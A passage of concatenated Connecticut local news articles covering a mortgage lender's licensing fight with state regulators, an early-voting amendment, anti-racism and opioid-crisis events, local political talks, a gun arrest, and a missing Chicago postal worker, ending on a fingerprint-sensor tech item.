with the investigation. Now the department is demanding millions of pages of documents, DiIiorio and others at 1st Alliance say, in a case department officials called open and shut just a few months ago. A settlement, the usual way of wrapping up these sorts of regulatory matters, seems impossible as both sides have hardened their positions. The company hired Ross Garber, a lawyer who has represented four governors including former Connecticut Gov. John G. Rowland. I wrote about this 1st Alliance case in November, even before the department issued its Dec. 5 notice of license revocation; then again in January, when the department accused 1st Alliance of withholding records and selling mortgages improperly. It was already a rare public glimpse at the sort of dispute the public almost never sees. Now, with the companys accusations of meddling by the Department of Banking, the case cuts to Connecticuts reputation as a zealous enforcer that strives to lead the way in business regulation. How and whether that reputation evolves under Gov. Ned Lamont remains to be seen. Lamont reappointed Jorge Perez, the banking commissioner, and said through a spokeswoman that hes leaving banking regulation to the department not meddling. Big picture aside, in DiIorio, a hard-driving, blunt-speaking lender whose company specialized in taking over and modifying giant national banks mortgages after the Great Recession meltdown, the state has met a foe who will fight openly and fiercely for what he says is right. He says he has direct knowledge that at least two high-ranking Connecticut banking regulators have been systematically contacting their counterparts in Maryland, Iowa, Pennsylvania, Washington and other states. In at least two of those states Maryland and Iowa there is clear evidence, DiIorio and others in the company contend, that Connecticuts intervention led to deeper audits. Why, if they had a slam-dunk case in September or October of last year, why havent they tried their case? Why have they made outreach to other states? If this is so cut and dried, why bleed the company to death through onerous document requests, legal expenses and direct interference with other state examinations? Unlicensed activity charges The issue is not about how 1st Alliance finances mortgages; its about how it sells them. Specifically, whether the companys use of a call center to initiate leads apparently unusual in Connecticut violates state and federal laws requiring that only licensed mortgage loan originators, known as MLOs, take applications and negotiate terms with borrowers. At its heart, the dispute is over how far the unlicensed call-center employees, known as HLCs, can go as they interact with customers, before they hand off the customers to an MLO. The Examination revealed that from at least November 2016 to August 2018, Respondent utilized a call center location primarily comprised of individuals who were not licensed as mortgage loan originators in Connecticut, but yet acted as mortgage loan originators in Connecticut by taking mortgage applications, soliciting Connecticut borrowers for residential mortgage loans and offering or negotiating terms of residential mortgage loans, the 25-page notice from the banking department states. The notice also accuses 1st Alliance of failure to establish a system of supervision and compliance. The original complaint was brought to the department by a whistleblower who has not been identified and may still work at 1st Alliance. It was communicated to the company in early May, 2018 just as DiIorio was making final plans for a large expansion in Putnam, financed partly by the state. DiIorio contends the system he has in place is not only fully compliant, but far exceeds standards set forth by the federal government after the mortgage meltdown, which Connecticut and all other states adopted in statute. The way his applications and systems are designed, he showed me in detail, its impossible for an HLC to even record such information as the address of the house a customer is seeking to buy or refinance. The departments notice accuses otherwise: ...depositions and recorded telephone calls reveal that often Unlicensed MLOs obtain the complete property addresses. In fact, when questioned, several deposed employees stated that since there is not a field in Byte to enter the property address, HLCs enter the information in the notes section. DiIorio argues the enforcement is an extreme overreach in both its methods and its conclusions, especially considering the state does not have published regulations to go along with the statutes. There are zero allegations of any consumer harm or abusive consumer behavior, he said. They did not get a complaint. He has voluntarily stopped using HLC call-center employees for Connecticut business and offered to settle the case by paying for the cost of enforcement a common type of agreement but without admitting wrongdoing, without paying fines or penalties and without agreeing to a gag order. The department declined those offers, pushing at first for a significant fine and then for revocation of the companys license. If were talking about extreme steps being taken, I would say its 1st Alliance taking the very extreme step in denying us their records, department spokesman Matt Smith said in January. That is a clear violation of the licensure agreement... The unlicensed mortgage loan activity almost seems incidental to the fact that they denied us their records. Despite numerous audits, no other state has concluded that 1st Alliance is out of compliance in the way it operates broadly, DiIorio said. Weve been audited dozens of times by dozens of states. Our practices have been transparent for 10 years. There have been a half-dozen settlements involving specific violations but none were about unlicensed employees working improperly. Forays in other states On March 13 of this year, 1st Alliance received an email from the Iowa Division of Banking, saying 1st Alliance was about to be found clear of any problems in a routine audit, except for a minor issue involving title insurance that 1st Alliance quickly addressed. The clearance letter never came. Just over a week later, DiIorio and his compliance director talked on the phone with the auditor, who told them the Connecticut Department of Banking had intervened with his supervisor. He told us that hes not going to issue the report, DiIorio said. He was now going to have to do a deep dive into the question of unlicensed HLCs going too far with applications. The Iowa department investigated actual call logs and other materials and, on April 12, told DiIorio its position had not changed that the companys practices were sound and it cleared the audit. DiIorio said he was told that Carmine Costa and Rich Cortes, who are division chiefs at the Connecticut department, were the ones who called Iowa urging deeper reviews. Smith, the banking department spokesman, said in an emailed response, We do not interfere or have any ability to influence what other states do as far as audits, examinations, or processes. If any state initiates an exam or enforcement action it is of their own volition in accordance with the laws of their state. Banking regulators in different states have channels of communication, including, for example, a 13-state mortgage regulation consortium that includes Connecticut. Enforcement actions routinely go out to regulators around the country. But in October, even before the Connecticut departments Dec. 5 notice, Connecticut officials tried to recruit Maryland and perhaps other states to take action against 1st Alliance, DiIorio said. A conference call was set up involving regulators from Maryland and Montana, Costa from Connecticut and a representative from the agency that runs the nationwide mortgage licensing system. A Maryland official arranged to come to Connecticut to discuss a settlement with 1st Alliance, DiIorio said. DiIorio traveled to Maryland, he said, and met with the Maryland secretary of labor, who ordered the department not to participate in the multistate action. A Maryland audit had come up clean in 2017. A subsequent, acting Maryland labor chief rejoined the multistate inquiry, which is ongoing, DiIorio said. He added that he and his compliance staff have been told by officials in several other states, in and out of the consortium, that Connecticut has contacted them. Some are doing their own audits, which happens routinely anyway. The Connecticut banking department did not respond to a follow-up question about whether they contacted other states about 1st Alliance. Black and white or gray? In at least one state, DiIorio heard from a person who was clearly frustrated that Connecticut intervened in their process, he said. I have confirmed the existence of a communication involving one state, which indicates Connecticut reached out to that states regulators. Whether that constitutes interference remains unclear. Much of the activity were talking about here states communicating with each other about enforcement actions and mortgage sales people communicating with customers exists in a gray area, as the mortgage industry and its enforcement is still evolving a decade after the meltdown. The 1st Alliance model, which relies on leads generated online, is part of a wave of larger, tech-based businesses in the industry exemplified by Quicken Loans. On Monday, DiIorio who has testified before Congress on compliance will be in Washington DC speaking to the Community Mortgage Lenders of America. Im going to share the facts of the examination process, he said. Im going to tell them that I think its a classic case of regulatory creep. GREENWICH Fleeing violence in Eritrea, Marwa and her family came to the U.S. in 2016. When she arrived in Fairfield County, Marwa didnt speak any English. She is now fluent in English, graduating in June and will be attending Fairfield University in the fall, Claudia Connor, president and CEO of the Connecticut Institute for Refugees and Immigrants, said at the Stand Against Racism event held Friday by the YWCA Greenwich. Pushed inside by the rain, over 100 people gathered inside Greenwich Town Hall for the 11th annual event. Connor also spoke about Angel, a client who fled Venezuela and recently had his asylum approved by the U.S. government. She talked about Faith, a single mother who left the Republic of the Congo to raise three children in Bridgeport. Faith had a green card approved on Monday, Connor said. Angle, Faith, Marwa - theirs are the faces of determination and hope and human dignity, she said. They are proof that adversity is a catalyst for positive change. The advocate also talked about the positive impacts immigrants have on communities. In 2017, immigrants in Connecticut paid $5.9 billion in taxes and $14.5 billion in spending power, she said. 95,100 employees in Connecticut work for immigrant-owned businesses. In Connecticut, a state that many residents have left to seek better economic opportunities, Conner said immigrants help to offset the population decline. Immigration prevented population loss in Fairfield County and cut population loss by at least 10 percent in every other county in the state, she said. The Bridgeport-based organization helps immigrants and refugees overcome the many obstacles they face in becoming members of their communities, she told the large crowd gathered inside Town Hall. In our work, everyday we see how racism, ethnic discrimination, fear and hatred impact the people we serve, she said. Connor also went through a brief history of past racist and exclusionary federal policies in the U.S. From the earliest articulation of immigration policy in the United States, deeply held racist views were incorporated into legal structures, tried to ensure that not all people are created equal and that they have the power to determine who else is allowed into our country, she said. The first naturalization law in the U.S. in 1790 offered citizenship to any white person of good moral character. When the law was revised in 1870, it included people of African descent but excluded Chinese and Asian immigrants from citizenship. The Chinese Exclusion Act of 1882 expressly excluded a single group of Chinese workers because of their race and class, Conner said. More than 120,000 people of Japanese ancestry many of whom were U.S. citizens - were imprisoned in internment camps on U.S. soil in 1942. And the U.S. Supreme Court upheld the act as constitutional. So where are we today? Conner posed to the crowd. Things are not how wed like them to be, to say the least. The anti-immigrant and anti-refugee sentiment that we have today is at an unparalleled high and our policies at the federal level reflect that. Conner cited the 2017 travel ban that excludes Muslims from certain countries from entering the U.S. She also talked about family separation at the Mexico border and the automatic criminal prosecution of all who cross the border illegally even asylum seekers. Reduced refugee admissions are the lowest theyve been in decades. said Conner. Under President George H. W. Bush, we received close to 200,000 refugees. Last year, we received about 22,000. And that is with the unprecedented number of millions of refugees in the world today. The crisis isnt people seeking safety and protection at the border, Conner said. Its the human rights catastrophe that is unfolding at detention centers across the country, she added. Immigration enforcement is not about keeping us safe, or the rule of law, or protecting children, she said. Immigration policies today are designed to be exclusionary and have an undeniable disproportionate impact on immigrants of color. Mary Lee Kiernan, president and CEO of YWCA Greenwich, said signs of bigotry and hatred have increased in recent years. Hate crimes jumped 17 percent in 2017, which is more than three times the rate of increase the prior year, Kiernan said, citing statistics released by the FBI. There was a 23 percent increase in religion-based crimes, which is the highest increase since 9/11. There was an 18 percent rise in race-based hate crimes and a 23 percent rise in hate crimes against Latinos. Its essential for society to pushback on hate, said Conner. We have to counter the belief of supremacy that my race or nationality are better than yours. We are all created equally, she said. We have to be vigilant against the normalizing of racism. We can't allow that to become the new normal. With facts, Conner said false narratives can be disseminated. Together, we can reclaim and reframe this narrative using facts to dispel fear, fight hatred and restore hope, she said. GREENWICH Western Middle School Principal Gordon Beinstein will represent secondary-school principals in the state of Connecticut in the National Principal of the Year program. He will go to Washington, D.C., along with principals from the other 49 states and the District of Columbia, where he will be recognized alongside other middle- and high-school principals who provide high-quality learning opportunities for students and demonstrate exemplary contributions to the profession, according to the programs website. The Board of Education recognized Beinsteins nomination Thursday night at its meeting. Deputy Superintendent of Greenwich Public Schools Ann Carabillo introduced Beinstein to the crowd. It will be very difficult to talk about him, she said. He doesnt love his children, his community or his school. She was, of course, joking. Beinstein is beloved by the Western Middle School community by students, parents, teachers and administrators alike. He has built a community of passionate students, Carabillo said. Those who nominated him say Westerns success story dates to Beinsteins arrival. For a long time, Western trailed behind its Eastern and Central counterparts and reflected a wide achievement gap between its wealthy and disadvantaged students. When Beinstein arrived in 2013, Western was the 147th ranked middle school in the state. In 2018, it ranked 66th, according to information provided by the school district. It also ranks third in the state based on the state Department of Educations new Smarter Balanced Assessment and its Overall Accountability Index a metric the state uses to measure schools based on 12 categories, including test scores, academic growth and fitness levels. The results were out of 270 middle schools across the state. Supporters attribute the schools successes to Beinsteins focus on creating a culture of collaboration, innovation, data-driven goal-setting and open communication. According to annual school climate surveys, 98 percent of responding parents look favorably on their childs experience at Western under Beinsteins leadership. Parent surveys also show that his focus on student needs has an impact: 94.5 percent of WMS parents say their children enjoy coming to school; 94.5 percent feel their children are appropriately challenged academically; 96.5 percent strongly agree that staff know and care about their children; and 97.5 percent say their children feel supported by staff. Western produced another principal of the year. In 2010, Stacey Gross, the then leader of Western Middle School, was the Middle School Principal of the Year. Gross went on to the national competition when the competition selected both a middle and high school principal of the year at the national level. Now, NASSP selects only one national principal of the year and each state is only allowed to send one representative to the national competition. Western has produced distinguished teachers as well. Michele Giorlando DeRosa, a Western educator, represented Greenwich Public Schools to the 2018 Connecticut Teacher of the Year competition. jo.kroeker@hearstmediact.com GREENWICH Officers are investigating what appears to have been an attempted burglary on Cutler Road in the north end of Greenwich late last week, police said. According to the police report, a homeowner was startled by a loud noise at 9:09 p.m. Friday. The resident investigated and saw an intruder attempting to gain entry to the home, police said. The intruder fled when confronted by the homeowner, police said. A supermajority in the House of Representatives voted Wednesday night to ask voters to amend the Connecticut Constitution to permit early voting, a convenience now permitted in most other states. If the Senate concurs by a similar margin, voters will be asked in 2020 if they want to remove a constitutional prohibition on early voting. A Senate vote of less than 75 percent in favor would delay a referendum by at least two years. Connecticut is one of 12 states without early voting at the polls and only one of three whose state constitutions bar it. In 2018, nearly 40 million Americans in 38 states and the District of Columbia went to the polls before Election Day. Tonights vote is a strong, bipartisan statement in favor of making voting easier for voters, said Secretary of the State Denise Merrill. Ultimately, this is not a question of partisanship, its one of improving the voter experience. Connecticut has fallen behind other states in removing the barriers that can make it harder for our voters to cast their ballots. The lopsided and bipartisan House vote of 125-24 easily exceeded the 75 percent supermajority threshold of 114 votes, but it came after a day of behind-the-scenes negotiations about final language and an unexpected effort by Republicans to amend the resolution to force a new election in Stratford to resolve a contested House race. A Committee on Contested Elections deadlocked along partisan lines in February over whether to recommend the House of Representatives order a new election in the 120th House District of Stratford, where an estimated 75 voters were given the wrong ballots in a race Rep. Philip Young, a Democrat, won by just 13 votes. On a party-line vote of 90-59, Democrats upheld a ruling of the chair that a new election in Stratford was not germane to the question of a constitutional amendment. But the partisan defeat did not upend bipartisan support for early voting. Thirty-five of the 59 Republicans in attendance voted to place the early-voting question on the ballot. All 90 Democrats supported the measure. In 2014, voters in Connecticut rejected what Merrill called a poorly worded amendment it talked about removing restrictions on absentee ballots and not early voting by a vote of 491,447 to 453,070. The new question asks, Shall the Constitution of the State be amended to permit the General Assembly to provide for early voting? The overwhelming passage came after an agreement was struck to change the proposed amendment, drawing solid GOP support. Originally, it would have mandated at least three days of early-voting. The final version removes the constitutional prohibition on early voting, but leaves the ultimate authority for allowing early voting up to the General Assembly. More News House Republicans fail in getting new vote for Stratford The amendment also would remove from the constitution the limited circumstances under which absentee ballots can be used. Amending the constitution is cumbersome.There are two paths to place the question on the ballot, each requiring the General Assembly to adopt a resolution. If the House and Senate approve the resolution by a supermajority of 75 percent, then the question would go on the next statewide ballot in 2020. If not, an identical resolution must win simple majorities in successive legislative terms, delaying a referendum until 2022. Senate approval by 27 of the 36 senators would place the question on the ballot in 2020. Gov. Ned Lamont praised Merrill for pursuing passage over several years and the House for striking a bipartisan compromise. In a 21st century economy, it is simply not realistic nor practical to expect every citizen to be able to physically go to one designated location during a specific set of hours on a Tuesday, Lamont said. As a democracy that prides itself on openness, transparency, and accessibility, it is our responsibility to make it easier for citizens to cast their ballots and have a say in their government. Early voting procedures have been successful in a growing number of states across the country Connecticut has fallen behind and its time we catch up. Though the store was significantly smaller than the three-story space it had occupied since the mall opened in the early 1960s, customers at the grand reopening in October praised the brighter, more modern look. Some said they had questioned whether it would reopen at all as the stores remodeling stretched on for more than a year. GREENWICH Finding common ground as a politically divided nation is the biggest challenge U.S. Rep. Jim Himes believes the country will face in the coming years. While the Fourth District congressman is celebrating recent wins that gave Democrats control of the U.S. House of Representatives, he said a daunting task looms ahead. We have a huge project in coming back together and getting away from a world where we are asked to be angry at each other, Himes said at a Thursday night meeting at Eastern Middle School hosted by the Greenwich and Stamford chapters of Indivisible. Give a little bit of thought into stitching ourselves back together as a country. In an hourlong question-and-answer session that covered everything from Russian interference and constitutional protections to border wall funding, Himes said winning elections isnt enough. Democrats also need to persuade citizens. I dont know exactly how we do that, he said. We need to form relationships people (with different views). Lets invite people into our way of thinking and listen to their way of thinking. Himes told the crowd in the middle school auditorium about an experience he said will stay with him for a long time. I went to Sikorsky in Bridgeport this morning, he said. Two-thirds of the workers were wearing Trump T-shirts. Ill be chewing on that for a couple of weeks. The congressman admitted he didnt know what to make of the experience. I suspect in part what caused them to put on those T-shirts is their concern that a guy like me doesnt hear their economic pain, said Himes. I spend a lot of time talking about things that may be a little abstract to those guys. But issues such as gun safety and family separation at the border are among the abstract issues Himes said he will never stop talking about. Im not sure those guys will be too happy if I talk about those issues when they think about the fact that they cant afford to send their kids to college, he said. I hope the guys I saw today will realize the president handed their kids a huge amount debt to pay off wealthy people and corporations. Those workers, Himes said, represent the thinking of many blue-collar workers across the U.S. And for Democrats to win the presidency in 2020, the party needs to show economically disadvantaged citizens what it has done to make their lives better, he said. While rebuilding the common ground among liberals and conservatives, Himes said its important to not lose sight of the fact that nothing about Donald Trumps presidency is normal. We cant get comfortable with bigotry, with racism, with people who muse about white supremacy, he said. Thats hard to do when the president tweets five times before lunch. We get desensitized to it. But we cant let our energy dissipate when we have constitutional crises. Himes urged the crowd to continue to mobilize politically and stand up for their values. There are lots of ways to reassert the decency thats at the core of who we are, said Himes. GREENWICH Three things changed once the Robinsons crossed the Mason-Dixon Line on their summer trips from Connecticut to North Carolina: the scenery, the accents and their safety. Growing up in the 1950s and 1960s, racism was a fact of life in both northern and southern states for Richard A. Robinson, who is the first African-American man to serve as chief justice of the Connecticut Supreme Court. Only the South, where his family ventured every summer to visit his grandfather, was openly and legally racist. Robinson visited Greenwich High School on Tuesday morning for Black History Month. He recounted his upbringing in Stamford during the best of times and the worst of times: When African Americans were making gains toward equality through the legal system, led by Martin Luther King Jr., and when they lived under Jim Crow laws and were the attacked by dogs, sprayed down and bombed in their churches. America is better now, but Robinson shared his current concerns with students. We are in an uneasy period. Like you, I have witnessed what is going on with a wide range of emotions: like anger, fear, grief, resentment and even despair, he said. All of my experiences from my youth taught me that courts can be a powerful force in making things right. From his southern mother, Robinson learned an enduring lesson: Mind yourself, and remember what happened to Emmett Till. Till was an African-American boy who was lynched in 1955 after being accused of offending a white woman in her familys grocery store. He was 14 years old. The case was reopened last year, but the woman who falsely accused him was deemed mentally unfit to stand trial. Robinson was born three years later, and 10 years later, the U.S. Supreme Court ruled that banning interracial marriages was unconstitutional. The judge said his world is better than that of his family. His maternal great-great-grandparents were slaves, his maternal granduncle was lynched and his mother walked miles to the only black school in town. People tend to think the North was free of these problems, but Connecticut has a complicated history as well, he said. For example, Connecticut, a farming state, enforced the Fugitive Slave Act, he said. More than a century later, Robinson still faces racism. In his first board meeting while providing legal counsel for the city of Stamford, an attendant whispered sideways: I guess Ill have to learn Swahili. He was assigned to represent a woman who attempted to refuse his help because he was not experienced. The comments made last year before he was appointed chief justice were just as bad, he said. Robinson, who grew up in Stamford, also explained the long road to presiding over the highest court in Connecticut. He started as the assistant counsel for the city of Stamford law department, became a Superior Court judge, then was appointed to the state Appellate Court, then to the state Supreme Court, and finally chief justice in 2018. It is not lost on me that I have held this position not because I was the first African American qualified to do it, but because I am the first African American who was given the chance to do it, Robinson said. He devoted the last half of his presentation to teaching students one way to fight for equal treatment: acknowledging implicit biases. Robinson trains lawyers and judges who overwhelmingly trust the accuracy of their gut instincts to question these subconscious classifications. These assumptions are pervasive, according to Robinson, who showed images of lotions advertising their versatility for normal to dark skin tones, as well as a baby sling marked to married, white women and single, black women. The last image sparked a conversation in the audience, sophomore Anna McDonnell noticed. I think the implicit bias part was eye-opening, she said. Classmate Miles Langhorne agreed. I think its a lot better than it was in the 60s, but there are still issues that happen in todays society, he said. I dont think we have control over it, but it happens and we need to work on it. Sophomore Jesika Garay appreciated that Robinson shared his experiences. I could relate to my family, she said. Her family is Hispanic, and when they walk together, people look at them differently, she said. Training will not make people less biased, but it will help them evaluate their assumptions, Robinson said. Im amazed at how people will go, Wait a minute, I did that the other day, he said. I still do it. Educating students is equally important to Robinson, especially those who are preparing for college, where they might encounter groups attempting to shut down ideas deemed unacceptable, he said. I think its tremendously important people get out of their bubble, he said. There are a lot of curious minds here today. I would love for them to question the information thats put before them. jo.kroeker@hearstmediact.com GREENWICH An early proponent of the historic preservation movement, who pioneered the loft-conversions of commercial buildings in lower Manhattan, will be the keynote speaker at the Greenwich Historical Societys Landmarks Recognition Program reception April 28. Joseph Pell Lombardi owns and renovated one of the most eccentric homes in the northeast, the Armour-Stiner House in Irvington, N.Y., a unique house built in the shape of an octagon, which references a 16th century Italian temple. In a speech titled Cabins, Houses, Lofts, Skyscrapers and Castles: Fifty Years of Worldwide Historic Preservation Efforts, the architect, who completed 150 loft conversions in the SoHo, Tribeca and Flatiron neighborhoods of Manhattan, will talk about his career in historic preservation, a subject well-suited to the historic societys annual celebration of significant homes and structures in Greenwich. Joe Lombardis passion for preserving historic properties is especially close to our mission and hearts, said Greenwich Historical Society Executive Director and CEO Debra Mecky. His insights into the art and joy of preservation through his exquisite body of work will be especially meaningful as we kick off Greenwich Preservation Month: This Place Matters in May. The Historical Society will bestow Landmark plaques on four structures: Greenwich Town Hall; the World War I Memorial on Greenwich Avenue; the Arthur and Ida Rinke House in Old Greenwich; and the Paul Schwarz House in central Greenwich. They will be given plaques and local landmark status for their design excellence and their value in preserving Greenwichs unique architectural legacy, according to the society. The completed restoration of the oldest residence in Greenwich, the Feake-Ferris House in Old Greenwich, will also be noted at the event. Tickets start at $75 per person for the program, April 28 at the Greenwich Country Club. More information is available at greenwichhistory.org. The World War I Memorial was designed by noted architect and painter Charles Platt, and its triangular granite shaft was designed to correspond to the triangular park in front of the former post office. The Paul Schwarz House, built in 1903, was designed by architects Henry Pelton, who was also responsible for the design of Riverside Church in Manhattan, and William Neil Smith, who designed many public buildings in upstate New York. The Arthur and Ida Rinke House will be honored as an example of the classic Tudor style popular in the 1920s. The Feake-Ferris House in Old Greenwich will be saluted for a careful restoration of the structure, once tagged for destruction, which was carried out by the Greenwich Point Conservancy, and the owners, Martin and Anna Waters. MIDDLETOWN A local woman is facing charges after giving her 7-year-old son a loaded handgun during an argument with two men who were sleeping at her home, police said. Kyrie Spellman, 32, of Cubeta Road, called police just before midnight Wednesday to report that two unwanted males were on her property, reports said. When officers arrived, she told different versions of what had happened at the home she shares with her 7-year-old son regarding the two men who were at the address, police said. She said she became angry with a male called Victim #1 in police reports because he was texting another woman, so she kicked him and a second male, referred to as Victim #2, out of the house to sleep in the car. She went out to the car to speak to Victim #1 while wearing a gun in a holster. She allowed the men to come back into the home to sleep on the couch and then had sex with Victim #1, she told police. After she discovered there was money missing, she pulled out the gun and was waving it around, although, she claimed, she didnt point it at anyone, reports said. She told the men she was calling police and then called her 7-year-old son down from upstairs. She then racked the slide of the pistol backward and took out the magazine loaded with eight bullets, she said. She then handed the gun and the magazine to the 7-year-old, who brought the items upstairs, the report said. Kyrie stated moments later she realized she gave her son a pistol and ran upstairs to properly secure the pistol, police said in the report. The gun was locked in a box when officers arrived, police said. An officer unlocked the box and found a 9 mm pistol with a bullet stuck between the slide and the barrel, reports said. She had a valid pistol permit, which was seized, police said. When Spellman was told that she was being arrested, she then announced that Victim #1 had forced her to have sex, officers said. Victim #1 denied the allegation and told police that he and Spellman had consensual sex several times that day. Spellman was charged with risk of injury to a child, two counts of first-degree threatening, first-degree reckless endangerment and disorderly conduct. She was released on a promise to appear in court. Two days after formally declaring his candidacy for president, U.S. Rep. Seth Moulton, of Massachusetts, told business and political leaders he intends to bring a unique message and set of experiences to the campaign for the Democratic nomination. The hardest job Ive ever had in my life was getting an incredibly diverse set of young Americans people from different religious backgrounds, different political beliefs, different races, different states all over this country united behind a common mission, to serve America," said Moulton, a U.S. Marine Corps veteran who's served four tours of duty in Iraq. He said he intends to bring that style of leadership the ability to unify to the White House. "Its time to remember that serving this country is what makes us great, Moulton said. Im going to confront President Trump on these issues of safety and security, of leadership around the globe, where I think hes weakest." He said he plans to beat President Donald Trump through uniting the country. "We live in terribly divisive times in this country, but weve got to remember that were all in this together," Moulton said. "Weve got to believe in our country so much that were ready to serve it to make it better to get it united behind a common mission." Moulton called for improvements to the health care system but said he also wants to ensure that if you like your private health care, youre not forced into a public plan. We have to make sure we have an education system that is ready to meet the new economy, the automated economy, he said. He said that as he travels the country, he senses that many Americans feel betrayed by the government, especially in those districts that voted for the president. Moulton said that at the same time, there are signs of optimism, citing students who have been outspoken in demanding safety in their schools. Moulton called prescription drug prices outrageous and said he is the only candidate who now is part of a single-payer health care system because he receives his health care through the VA rather than the congressional system. He called for Medicare to have the ability to negotiate drug prices, just as he said the VA does. Research is costly for the drug companies, Moulton said, but, he said, people are paying astronomical prices because of a lack of ability to negotiate. Moulton last year initially opposed the return of Nancy Pelosi as speaker of the House, but he later voted for her after securing leadership term limits and the establishment of subcommittees on climate change and voting rights. We need a nominee whos willing to stand up to the Washington establishment, he said. My willingness to challenge the Washington establishment will make me a much stronger nominee against Donald Trump. Moulton said he voted last year to begin a debate on whether Trump should be impeached, but the proposal failed. Even last year, there was ample evidence that the president and his associates had committed crimes, he said. Our party made a mistake waiting until now hoping for a smoking cannon or something in the Mueller report to begin this debate. He said, however, it is too soon for a vote. Moulton also said an automated revolution is affecting jobs of every type. We need to talk about our education system. We need to totally rethink our education, he said, calling for more federal investment in nontraditional areas. We should make sure every kid who wants to go to vocational schools has the opportunity to do so." He also said the federal government should spend more money on government programs that fund and inspire what he called creative careers. Mouton said that to revamp Social Security, the current income cap should be removed and there should be a small increase in the payroll deduction tax. And he said that while he believes Trump obstructed justice, the unmistakable conclusion is that Russia interfered in the election and that Vladimir Putin wanted Donald Trump to get elected president. Every American ought to know why, he said. Moulton said he disagreed with Democrats, including Pelosi, who say the House should not pursue impeachment for political reasons. We have a higher calling than our politics. Its called the Constitution, Moulton said. GREENWICH As law enforcement, activists and politicians gathered Friday in Greenwich for a panel discussion, they heard the staggering statistics of the deadly toll of the nationwide opioid addiction crisis. The big picture is about as grim as it can be, said U.S. Rep. Jim Himes, D-4th District. And it demands a whole of society response. Tens of thousands of Americans are dying every year due to opioid abuse, Himes said at the panel discussion, which held at the Second Congregational Church and organized by Shatterproof, a nonprofit organization that focuses on the dangers of addiction. Himes was joined on the panel by U.S. Sen. Richard Blumenthal, Lt. Gov. Susan Bysciewicz, state Reps. Livvy Foren, R-149, Stephen Meskers, D-150, and Fred Camillo R-151 as well as Greenwich Police Capt. Robert Berry. Also on the panel were Shatterproof CEO and founder Gary Mendell and Greenwich resident Dita Bhargava, a Shatterproof ambassador, both of whom discussed losing children to drug addiction. Three people died in Greenwich from drug overdoses in 2017 and 2018, Berry said. But that number could have been higher without the police departments use of Narcan, which can reverse the deadly effects of an overdose. But even as the panel members made commitments to help, some in the audience of more than 30 people called for more to be done, especially against Purdue Pharma. The Stamford-based pharmaceutical giant is facing lawsuits from more than 30 states, including Connecticut, for using deceptive tactics to market its painkilling drugs, specifically the powerful painkiller OxyContin, which fueled deadly opioid addictions. An expanded complaint from Connecticut describes Purdues strategies in detail how it pushed false narratives to doctors that susceptible individuals not powerful pain drugs were to blame for the addictions and some patients just needed more opioids to recover. The lawsuits target Purdue, the Sackler family that founded the company and current and former members of its management team. Brian Merlin and others in attendance pushed for prosecutors to consider criminal charges against the Sacklers and Purdues managers. I dont understand why these people arent prosecuted when ... my friends are dying and my friends are going to jail, said Merlin, who said he struggles with drug addiction. It doesnt make any sense to me. I know a lot of these problems take financial (commitment), but its not difficult to prosecute Purdue Pharma or the Sacklers or the bad actors. Corporations are going to go out and do this again and kill hundreds of thousands of Americans again unless you stop the precedent. Bysciewicz pledged to reach out to the U.S. attorneys office in Connecticut and Chief States Attorney Kevin Kane to see what more we can be doing, We hear you, Bysciewicz said. We are fighting on all fronts. She compared the opioid crisis to the 2008 banking crisis when financial executives were not prosecuted. She said that was a frustration for all of us in this room. Merlin compared the arrest of a friend for possession of heroin and fentanyl to the Purdue Pharma policy of sending 20 million pills to an Ohio town with a population of just 400 residents. My friend is going to serve significant time for a lousy less than 2 grams of drugs and (Purdue) sent hundreds of millions of pills, Merlin said. Its not fair that drug users like myself are being prosecuted and preyed on. ... Its not fair that were told all the time that its our fault if we die or our parents are told that the families are bad families that deserve this. This doesnt happen to gunshot victims. This doesnt happen to plane crash victims. In 2007, the company and three members of senior management pleaded guilty to criminal charges of misleading the public about the risks of addiction for OxyContin. But they served no prison time. Michelle Mechanic, another attendee, pursuing criminal charges is difficult because of the standard of proof beyond a reasonable doubt for guilt. But a civil suit, she said, must prove only more likely than not. You have to prove beyond a reasonable doubt that the Sacklers knew people were going to die, Mechanic said. That is a very, very, very high standard of proof. Many speakers stressed the importance of education on the topic in schools. Many also said it was vital to remove the stigma around addiction so it could be discussed openly and more effective solutions found. If my daughter has leukemia, people bring casseroles. And if my husband is sick with a heart attack, people say What can I do for you? audience member Gail Karlitz said while advocating for more mental health care. But if my husband or my daughter has addiction, they say, Not really. Not in this neighborhood. Mendell and Bhargava both advocated for the passage of legislation currently before the state legislature. House Bill 7125 would require insurance companies to cover addiction treatment. House Bill 1057 would require higher education institutions to carry Narcan and other opioid treatments for students and employees and establish community-based treatment centers for everyone. And House Bill 7395 would provide treatment to inmates with opioid addiction disease, both before and after their release. It will take all of us to get these bills passed, Bhargava said. Shatterproof has just entered into a partnership with the global consulting firm of McKinsey and Company to roll out a strategic plan with action items, Mendell said. We can do for this disease what we have done for HIV/AIDS, what weve done for marriage equality, what weve done for breast cancer and what weve done for domestic equality, he said. kborsuk@greenwichtime.com Relatives of a pregnant postal worker who went missing in Chicago a half-year ago say they are still searching for her as a major milestone passes. Fox 32 reports Kierra Coles was three months pregnant when she went missing. Six months later, her due date has come and gone. Coles was last seen Oct. 2. According to WLS TV, surveillance video from Chatham on the citys South Side where Coles lives, walking past her car in her U.S. Postal Service uniform, even though she had called in sick that day. Calling out sick and leaving for work that day in uniform is quite out of the ordinary. Was she the one who made that phone call? We think there's more to the story, said Mack Julion of the National Association of Letter Carriers. Coles mother, Karen Phillips, called police to report her missing two days later. She said she became concerned that her daughter hadnt called her and that her calls to her daughters number went straight to voicemail. Police went to Coles home to conduct a well-being check and didnt find her, but saw that her car was parked out front. She wouldnt go this long without talking to me, Phillips told WLS TV. She said when the two did talk on Oct. 2, her daughter told her how happy and emotional she was to hear her babys heart beating. We talk every day. She wouldnt have me worrying like this. The U.S. Postal Service has offered a $25,000 reward for information on Coles whereabouts and is assisting in the investigation into her disappearance. Based on the length of time of Kierra Coles disappearance and the fact that she has fallen off the grid, police suspect possible foul play, the Chicago Police Department said in an email to The Associated Press in October. We continue to get leads and are following up diligently on those leads. Chicago police have said that they have two or three people of interest in the case. Coles' community remains determined to bring closure to her family. We've got to find this baby. We cannot let up on a person missing without a clue, community activist Andrew Holmes said. Her mother is baffled by her daughter's disappearance. I just always say I don't know. I ask God to show me a sign in my dream or reality or something, Phillips said. The fingerprint scanner has moved under the display in the pursuit to make room for bigger screens, but with a big caveat - it can only be placed under OLED panels since only this type of display can allow for the light to pass and complete the scan. Now, a Chinese company called Fortsense, has figured out a way to put the sensor under an LCD, and expect smartphone manufacturers to adopt the tech by the end of the year. Photos of the Fortsense presentation According to leaked photos of a marketing presentation, Fortsense has figured out how to let light pass through the LCD in order for the 